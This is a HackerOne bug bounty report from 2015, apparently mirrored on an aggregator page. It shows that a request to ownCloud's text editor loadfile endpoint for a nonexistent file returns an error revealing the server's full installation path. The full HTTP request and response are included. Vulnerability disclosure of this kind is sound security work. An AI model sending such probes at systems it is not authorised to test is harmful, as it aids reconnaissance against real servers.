Lucene search

K
hackeroneIshahriyarH1:85201
HistoryAug 27, 2015 - 2:18 p.m.

ownCloud: Full Path Disclosure

2015-08-2714:18:56
ishahriyar
hackerone.com
$25
23

EPSS

0.001

Percentile

34.9%

When I was trying to load a file which is not actually exist then it shows
{“message”:“Could not obtain lock type 1 on "/opt/lampp/htdocs/owncloud/data/admin/files/lol".”}

Request

GET /owncloud/index.php/apps/files_texteditor/ajax/loadfile?filename=lol HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken: JsTZTCWPxW2INuw7Ur1bgkLlmwQY0a
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.105/owncloud/index.php/apps/files/
Cookie: ochwk513zixt=am12pvu6bbmi3u03jbbk64v5f2
Connection: keep-alive

Response

HTTP/1.1 400 Bad request
Date: Thu, 27 Aug 2015 14:07:54 GMT
Server: Apache/2.4.16 (Unix) OpenSSL/1.0.1p PHP/5.6.11 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src ‘none’;script-src ‘self’ ‘unsafe-eval’;style-src ‘self’ ‘unsafe-inline’;img-src ‘self’;font-src ‘self’;connect-src ‘self’;media-src ‘self’
Content-Length: 106
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json; charset=utf-8

{“message”:“Could not obtain lock type 1 on "/opt/lampp/htdocs/owncloud/data/admin/files/lol".”}

Thanks.

EPSS

0.001

Percentile

34.9%